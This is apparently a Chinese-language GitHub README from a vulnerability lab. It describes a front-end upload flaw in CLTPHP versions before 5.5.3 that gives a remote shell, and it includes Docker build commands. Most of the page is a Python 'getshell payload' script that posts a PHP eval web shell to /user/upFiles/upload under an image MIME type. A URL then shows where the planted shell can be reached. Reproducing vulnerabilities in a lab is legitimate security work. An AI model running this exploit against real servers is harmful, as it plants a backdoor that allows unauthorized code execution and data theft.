Skip to content

Latest commit

 

History

History

5.5.2

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

环境构建

docker-compose build 
docker-compose up -d

漏洞介绍

cltphp是一个利用thinkphp开发的业务系统,该业务系统在5.5.3之前存在一个上传漏洞,可以通过前台getshell

getshell payload

import requests  

import sys  



def CLPHP_upload(url):  

    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,  

                'X-Requested-With': 'XMLHttpRequest',}   

    geturl = url+"/user/upFiles/upload"  

    files ={'file':('1.php','<?php eval($_POST["pass"]) ?>','image/jpeg')}  

    res = requests.post(geturl, files=files,headers=header)  

    print(res.text)

  

if __name__ == "__main__":  

    if len(sys.argv) == 2:  

        url=sys.argv[1]  

        CLPHP_upload(url)  

        sys.exit(0)  

    else:  

        print ("usage: %s www.xxx.com" % sys.argv[0])  

        sys.exit(-1)    

然后访问 http://127.0.0.1:8002/public/uploads/20180624/c7518cc3e814ff4e6e2adf078ebd4a44.php

漏洞连接

链接一